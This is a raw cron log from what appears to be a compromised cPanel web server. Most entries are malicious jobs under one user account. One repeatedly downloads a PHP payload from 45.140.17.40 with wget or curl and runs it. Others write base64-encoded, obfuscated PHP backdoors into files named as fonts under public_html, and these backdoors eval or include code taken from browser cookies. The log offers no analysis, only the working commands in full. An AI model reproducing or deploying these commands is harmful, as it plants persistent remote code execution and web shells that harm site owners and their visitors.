Sep  5 12:36:01 ip-184-168-122-23 CROND[17707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:36:01 ip-184-168-122-23 CROND[17709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:36:01 ip-184-168-122-23 CROND[17711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:36:01 ip-184-168-122-23 CROND[17713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:36:01 ip-184-168-122-23 CROND[17710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:37:02 ip-184-168-122-23 CROND[17836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:37:02 ip-184-168-122-23 CROND[17839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:37:02 ip-184-168-122-23 CROND[17838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:37:02 ip-184-168-122-23 CROND[17840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:38:01 ip-184-168-122-23 CROND[17944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:38:01 ip-184-168-122-23 CROND[17946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:38:01 ip-184-168-122-23 CROND[17948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:38:01 ip-184-168-122-23 CROND[17949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:38:01 ip-184-168-122-23 CROND[17947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:39:01 ip-184-168-122-23 CROND[18105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:39:01 ip-184-168-122-23 CROND[18101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:39:01 ip-184-168-122-23 CROND[18103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:39:01 ip-184-168-122-23 CROND[18102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:39:01 ip-184-168-122-23 CROND[18104]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:40:01 ip-184-168-122-23 CROND[18254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:40:01 ip-184-168-122-23 CROND[18253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:40:01 ip-184-168-122-23 CROND[18255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:41:01 ip-184-168-122-23 CROND[18378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:41:01 ip-184-168-122-23 CROND[18380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:41:01 ip-184-168-122-23 CROND[18385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:41:01 ip-184-168-122-23 CROND[18387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:42:01 ip-184-168-122-23 CROND[18584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:42:01 ip-184-168-122-23 CROND[18583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:42:01 ip-184-168-122-23 CROND[18585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:42:01 ip-184-168-122-23 CROND[18587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:42:01 ip-184-168-122-23 CROND[18586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:43:01 ip-184-168-122-23 CROND[18795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:43:01 ip-184-168-122-23 CROND[18796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:43:01 ip-184-168-122-23 CROND[18798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:43:01 ip-184-168-122-23 CROND[18797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:44:01 ip-184-168-122-23 CROND[19046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:44:01 ip-184-168-122-23 CROND[19048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:44:01 ip-184-168-122-23 CROND[19047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:44:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:44:01 ip-184-168-122-23 CROND[19051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:45:01 ip-184-168-122-23 CROND[19192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19193]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:45:01 ip-184-168-122-23 CROND[19194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 12:46:01 ip-184-168-122-23 CROND[19380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:46:01 ip-184-168-122-23 CROND[19382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:47:01 ip-184-168-122-23 CROND[19550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:47:01 ip-184-168-122-23 CROND[19552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 12:47:01 ip-184-168-122-23 CROND[19551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:47:01 ip-184-168-122-23 CROND[19553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:48:02 ip-184-168-122-23 CROND[19682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 12:48:02 ip-184-168-122-23 CROND[19683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
